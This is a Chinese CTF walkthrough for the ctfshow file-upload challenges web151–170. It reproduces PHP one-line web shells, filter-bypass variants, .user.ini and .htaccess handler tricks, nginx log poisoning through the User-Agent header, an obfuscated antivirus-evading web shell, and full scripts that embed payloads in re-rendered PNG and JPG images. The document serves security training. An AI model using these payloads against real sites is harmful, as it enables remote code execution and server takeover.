web151
题目提示前端校验
F12查看前端代码,更改上传文件类型png为php,以便我们上传php后缀的代码文件。
写一句话木马,先命名为.txt,再更改为php后缀:
<?php @eval($_POST[123]); ?>
上传成功,得到上传的路径
查看根目录,没找到想要的文件名
再往当前文件的上级目录找
找到flag.php,访问即可
web152
像上题一样更改前端校验,上传php文件显示不符合上传类型。
需要上传规定的png文件,把上一题的php后缀改成png,再上传
得到上传到的路径
用bp抓包,修改png为php,才能使后台执行我们上传的代码,再点击send
POST传参如下,得到文件名flag.php
访问文件,得到flag
web153
采用上一题的方法上传png,在bp中修改为php后缀,回显错误。
又尝试修改为phP,还是上传错误,只能通过其他方法间接上传
nginx中有一个.user.ini文件:
.user.ini文件通常位于PHP安装目录的根目录下。当网站进行扫描时,会将.user.ini文件指向路径的内容包含在首页文件处
auto_prepend_file:表示在每个PHP脚本之前自动加载指定的文件。例如auto_prepend_file=111.png
auto_append_file:与auto_prepend_file类似,但内容将添加到PHP脚本的末尾。例如,auto_append_file=111.png
思路:
我们可以上传一个.user.ini文件,文件内容是auto_prepend_file=111.png,这样能成功执行文件内容,进而上传我们想要执行的内容。
首先还是上传111.png,内容是一句话木马:
<?php @eval($_POST[123]); ?>
创建一个.user.ini文件,并上传
bp抓包,添加.user.ini的文件内容
auto_prepend_file=111.png
显示文件上传成功,那么我们的一句话木马也上传成功
.user.ini上传到了index.php文件,一句话木马也在里面,需要在这个文件下进行post传参。
得到文件名
访问flag.php文件,得到flag
web154
还是和上题一样,上传user.ini,但显示格式不对,那么在文件名后面加上png后缀,再上传。
bp抓包,更改文件名,去掉后缀,并添加上命令
auto_prepend_file=111.png
发送后得到上传成功的显示:
然后和上题相同。上传内容为一句话木马的png文件,但显示文件内容不符合,可见对上传的内容进行了限制
删除一句话木马中的php后,显示上传成功,可见该题限制了上传内容不能有php
一句话木马,不使用php,就使用短标签,相当于是简写形式:
<?=eval($_POST[123]);?>
访问/upload/index.php,POST传参,得到flag.php
再访问flag.php
web155
同上一题
还是使用短标签一句话木马
web156
先上传上一题的一句话木马,后缀是png
bp抓包:
<?=eval($_POST[123]); ?> 上传失败
<?=eval($_[123]); ?> 上传失败
<?=eval($_POST123?> 上传成功,可知过滤了[],可以使用{}代替
一句话木马:
<?=eval($_POST{123}?>
成功上传
接下来继续像之前一样上传user.ini.png文件,然后在bp修改后缀名和添加内容:
auto_prepend_file=111.png
得到flag.php
得到flag
web157
先上传.user.ini文件
然后修改111.png内容再上传,发现在之前的基础上过滤了;{} 这样一句话木马无法使用了,但我们可以使用php执行命令,直接注入我们想要查询目录或查看文件的命令:
<? system('ls ../') ?>
上传报错,尝试后发现过滤了php
<? system('tac ../flag.php') ?>
使用*,代替php
web158
跟上题完全一样
上传.user.ini
上传内容为 <? system('tac ../flag.php') ?> 的png文件
web159
按照之前思路,上传.user.ini.png,抓包更改文件后缀和内容
上传111.png文件,内容 <? system('tac ../flag.php') ?>,上传失败,多次尝试发现是过滤了()
上传内容为:
<?=`tac ../flag*`?>
访问index.php得到flag
web160
尝试上一题的命令,发现`被过滤,只能放弃使用上条的指令
尝试利用文件包含<?include"/var/log/nginx/access.log"?>访问nginx的日志文件 /var/log/nginx/access.log 但是报错,发现log被过滤
使用.连接字符串
<?=include"/var/lo"."g/nginx/access.lo"."g"?>
并在UA中植入一句话木马
访问index.php,POST传参输入,得到flag
1=system('tac ../flag.php');
web161
先尝试过滤了哪些字符,发现无论上传什么都被过滤,怀疑是文件头有限制
尝试在文件头添加PNG,还是无法上传
再尝试添加GIF89a,这也是图片的文件头,上传成功
接下来还是和上题一样,在UA植入木马:
再上传.user.ini
要添加上文件头,才能上传
访问index.php,POST传参,得到flag
web162
web163
之后再做.......
web164
先上传一张正常的照片,点击查看图片
得到上传后的照片并下载
对比原图片和网址回显的图片,发现大小不一样,所以对上传的照片进行了一些操作
而这个操作是图片上传的二次渲染
图片上传二次渲染的过程
1. 图片上传
用户通过Web界面上传图片文件。这些文件可以是各种类型的图片,如JPG、PNG、GIF等。
2. 初步处理与验证
- 文件接收:服务器接收到上传的图片文件。
- 格式验证:系统可能会检查文件的后缀名或文件头信息,以确保文件是图片格式。
- 初步渲染或处理(可选):在有些情况下,为了预览或安全检查,系统可能会对图片进行初步的渲染或处理,如调整大小、压缩等。但这一步并不是所有系统都会执行,且不一定算作严格意义上的“二次渲染”。
3. 二次渲染
- 重新生成图片:服务器端的应用程序使用图像处理库(如GD库、Imagick等)对图片进行二次渲染。这个过程可能包括调整图片的尺寸、分辨率、色彩等,以符合网站的特定要求或优化显示效果。
- 内容清理与验证:在二次渲染的过程中,系统应该清理图片中的任何潜在恶意代码或数据。然而,如果这一过程存在漏洞,恶意代码可能会被忽略或保留下来。
- 保存新图片:经过二次渲染后的图片被保存到服务器上,通常会在一个新的文件名或路径下。
4. 图片展示
当用户在Web页面上请求查看上传的图片时,服务器会提供经过二次渲染后的图片文件。
图片上传二次渲染漏洞利用
- 注入恶意代码:
- 攻击者可能会制作一个看似无害的图片文件,但其中包含了可被解释为恶意代码的特殊标记或数据。
- 在第一次渲染时,这些恶意代码可能不会被激活或识别,因为它们被包裹在特定的标记或结构中。
- 当图片被二次渲染时,如果应用程序没有充分清理或验证文件内容,恶意代码可能会被解释和执行,导致XSS(跨站脚本)攻击、RCE(远程代码执行)等安全问题。
- 绕过文件类型检查:
- 某些Web应用程序在上传文件时会检查文件类型,以防止上传可执行文件或脚本文件。
- 攻击者可能会利用图片的二次渲染过程来绕过这些检查。例如,他们可能上传一个包含恶意脚本的图片文件,该文件在初次上传时被视为非法文件而被拒绝。然而,在二次渲染过程中,应用程序可能会生成一个新的图片文件,该文件虽然包含恶意代码,但具有合法的图片格式和扩展名。
- 条件竞争:
- 在某些情况下,二次渲染的逻辑可能存在漏洞,如先上传文件后判断,符合就保存,不符合则删除。
- 攻击者可以利用条件竞争(Race Condition)来进行爆破上传,即在文件被删除之前迅速上传大量的恶意文件,以增加成功上传恶意文件的机会。
由于图片被二次渲染,我们无法直接在图片中直接注入木马,因为会被处理,而无法执行,这里需要用到php脚本,生成一个木马图片:
<?php
$p = array(0xa3, 0x9f, 0x67, 0xf7, 0x0e, 0x93, 0x1b, 0x23,
0xbe, 0x2c, 0x8a, 0xd0, 0x80, 0xf9, 0xe1, 0xae,
0x22, 0xf6, 0xd9, 0x43, 0x5d, 0xfb, 0xae, 0xcc,
0x5a, 0x01, 0xdc, 0x5a, 0x01, 0xdc, 0xa3, 0x9f,
0x67, 0xa5, 0xbe, 0x5f, 0x76, 0x74, 0x5a, 0x4c,
0xa1, 0x3f, 0x7a, 0xbf, 0x30, 0x6b, 0x88, 0x2d,
0x60, 0x65, 0x7d, 0x52, 0x9d, 0xad, 0x88, 0xa1,
0x66, 0x44, 0x50, 0x33);
$img = imagecreatetruecolor(32, 32);
for ($y = 0; $y < sizeof($p); $y += 3) {
$r = $p[$y];
$g = $p[$y+1];
$b = $p[$y+2];
$color = imagecolorallocate($img, $r, $g, $b);
imagesetpixel($img, round($y / 3), 0, $color);
}
imagepng($img,'2.png');
?>
得到2.png图片
用010editor打开图片,可见这个图片含有一句话木马
上传图片,点击查看图片
抓包,修改为POST传参,
POST /download.php?image=fb5c81ed3a220004b71069645f112867.png&0=system
并加上
1=ls
相当于执行system('ls')
返回值没有想要的信息
通过查看大佬的wp,得知是没有回显,需要加上请求头:
Content-Type: application/x-www-form-urlencoded
加上后先输入1=ls 得到flag.php
再修改为1=tac flag.php,得到flag
参考文章:ctfshow-web入门-文件上传(web164、web165)图片二次渲染绕过_ctfshow web164-优快云博客
web165
这一题还是图片的二次渲染,但是改为了jpg图片二次渲染
先上传一个jpg图片,图片选择对解题有影响,要尝试许多图片才能注入成功,我直接用的是群里的二次渲染图片
点击查看图片,得到渲染后的图片,保存下来,我命名为11.png
利用以下脚本,能将jpg图片转换成含有木马的jpg图片,主要目的是因为11.jpg已经被二次渲染了,在他的基础上注入木马,再放入网站后,二次渲染的内容少,木马能保留下来。
<?php
$miniPayload = "<?=eval(\$_POST[1]);?>";
if(!extension_loaded('gd') || !function_exists('imagecreatefromjpeg')) {
die('php-gd is not installed');
}
if(!isset($argv[1])) {
die('php jpg_payload.php <jpg_name.jpg>');
}
set_error_handler("custom_error_handler");
for($pad = 0; $pad < 1024; $pad++) {
$nullbytePayloadSize = $pad;
$dis = new DataInputStream($argv[1]);
$outStream = file_get_contents($argv[1]);
$extraBytes = 0;
$correctImage = TRUE;
if($dis->readShort() != 0xFFD8) {
die('Incorrect SOI marker');
}
while((!$dis->eof()) && ($dis->readByte() == 0xFF)) {
$marker = $dis->readByte();
$size = $dis->readShort() - 2;
$dis->skip($size);
if($marker === 0xDA) {
$startPos = $dis->seek();
$outStreamTmp =
substr($outStream, 0, $startPos) .
$miniPayload .
str_repeat("\0",$nullbytePayloadSize) .
substr($outStream, $startPos);
checkImage('_'.$argv[1], $outStreamTmp, TRUE);
if($extraBytes !== 0) {
while((!$dis->eof())) {
if($dis->readByte() === 0xFF) {
if($dis->readByte !== 0x00) {
break;
}
}
}
$stopPos = $dis->seek() - 2;
$imageStreamSize = $stopPos - $startPos;
$outStream =
substr($outStream, 0, $startPos) .
$miniPayload .
substr(
str_repeat("\0",$nullbytePayloadSize).
substr($outStream, $startPos, $imageStreamSize),
0,
$nullbytePayloadSize+$imageStreamSize-$extraBytes) .
substr($outStream, $stopPos);
} elseif($correctImage) {
$outStream = $outStreamTmp;
} else {
break;
}
if(checkImage('payload_'.$argv[1], $outStream)) {
die('Success!');
} else {
break;
}
}
}
}
unlink('payload_'.$argv[1]);
die('Something\'s wrong');
function checkImage($filename, $data, $unlink = FALSE) {
global $correctImage;
file_put_contents($filename, $data);
$correctImage = TRUE;
imagecreatefromjpeg($filename);
if($unlink)
unlink($filename);
return $correctImage;
}
function custom_error_handler($errno, $errstr, $errfile, $errline) {
global $extraBytes, $correctImage;
$correctImage = FALSE;
if(preg_match('/(\d+) extraneous bytes before marker/', $errstr, $m)) {
if(isset($m[1])) {
$extraBytes = (int)$m[1];
}
}
}
class DataInputStream {
private $binData;
private $order;
private $size;
public function __construct($filename, $order = false, $fromString = false) {
$this->binData = '';
$this->order = $order;
if(!$fromString) {
if(!file_exists($filename) || !is_file($filename))
die('File not exists ['.$filename.']');
$this->binData = file_get_contents($filename);
} else {
$this->binData = $filename;
}
$this->size = strlen($this->binData);
}
public function seek() {
return ($this->size - strlen($this->binData));
}
public function skip($skip) {
$this->binData = substr($this->binData, $skip);
}
public function readByte() {
if($this->eof()) {
die('End Of File');
}
$byte = substr($this->binData, 0, 1);
$this->binData = substr($this->binData, 1);
return ord($byte);
}
public function readShort() {
if(strlen($this->binData) < 2) {
die('End Of File');
}
$short = substr($this->binData, 0, 2);
$this->binData = substr($this->binData, 2);
if($this->order) {
$short = (ord($short[1]) << 8) + ord($short[0]);
} else {
$short = (ord($short[0]) << 8) + ord($short[1]);
}
return $short;
}
public function eof() {
return !$this->binData||(strlen($this->binData) === 0);
}
}
?>
在终端输入
php index.php 11.jpg
//php 脚本名 想要转换的图片名
即可得到木马图片,然后上传到网站
同时抓包,要更改为POST传参,因为我们上传图片使用的是POST,然后添加
1=system('ls');
得到flag.php 文件名
再修改为
1=system('tac flag.php');
得到flag值
web166
查看上传点,可知这题只能上传zip文件
先上传随便一个zip文件,抓包,修改文件内容:
<?=system('ls ../'); ?>
右侧得到上传到的地址
点击下载文件,抓包
修改访问地址,点击send,右侧得到文件名
接着用相同方法访问flag.php文件,得到flag
web167
题目提示httpd,且只能上传jpg文件
.htaccess
文件是 Apache HTTP 服务器的一个配置文件,它允许你针对目录及其子目录进行配置,而无需修改服务器的主配置文件(通常是 httpd.conf
或 apache2.conf
,具体取决于你的操作系统和 Apache 版本)。.htaccess
文件中的指令会覆盖主配置文件中的相应指令,但仅限于该 .htaccess
文件所在的目录及其子目录。
所以我们可以上传一个.htaccess文件,文件内容能让网站用php解析jpg文件,这样就能上传含有一句话木马的jpg图片
.htaccess文件内容,表示用php解析jpg文件:
<FilesMatch ".jpg">
SetHandler application/x-httpd-php
</FilesMatch>
首先以.jpg后缀上传这个文件,用bp抓包,修改文件名为.htaccess,可见上传成功
再上传一个含有一句话木马的jpg文件,点击下载文件
再按常规,得到flag.php
访问flag.php文件
web168
查看发现只能上传png文件
上传含有一句话木马的png文件,发现返回值为 null
发现eval值被查杀,system也被查杀,尝试利用拼接,也不行
根据题目提示是基础查杀,利用查杀木马:
<?php $bFIY=create_function(chr(25380/705).chr(92115/801).base64_decode('bw==').base64_decode('bQ==').base64_decode('ZQ=='),chr(0x16964/0x394).chr(0x6f16/0xf1).base64_decode('YQ==').base64_decode('bA==').chr(060340/01154).chr(01041-0775).base64_decode('cw==').str_rot13('b').chr(01504-01327).base64_decode('ZQ==').chr(057176/01116).chr(0xe3b4/0x3dc));$bFIY(base64_decode('NjgxO'.'Tc7QG'.'V2QWw'.'oJF9Q'.''.str_rot13('G').str_rot13('1').str_rot13('A').base64_decode('VQ==').str_rot13('J').''.''.chr(0x304-0x2d3).base64_decode('Ug==').chr(13197/249).str_rot13('F').base64_decode('MQ==').''.'B1bnR'.'VXSk7'.'MjA0N'.'TkxOw'.'=='.''));?>
上传这个查杀木马,png格式,然后bp抓包更改为php后缀
接着访问上传的文件,再按老方法读取文件名和文件即可,要注意这题的flag放在了flafaa.php文件
web169
限制上传为zip文件
按照之前的方法,上传木马报错,只能尝试利用.user.ini文件进行日志文件包含
上传.user.ini.zip文件,抓包更改后缀以及文件名
auto_prepend_file=/var/log/nginx/access.log
并修改为:
Content-Type: image/png
因为后端验证又是png
上传成功
再随便上传一个文件,抓包修改上传类型并在ua写入命令
读取/upload/1.php,得到文件名
再修改ua
User-Agent: <?=system('tac ../flagaa.php'); ?>
再访问文件,查看源代码得到flag
web170
还是和上题一样,上传.user.ini使结果回显到日志,再上传另一个文件,ua处写执行命令,再访问上传到的地址,得到结果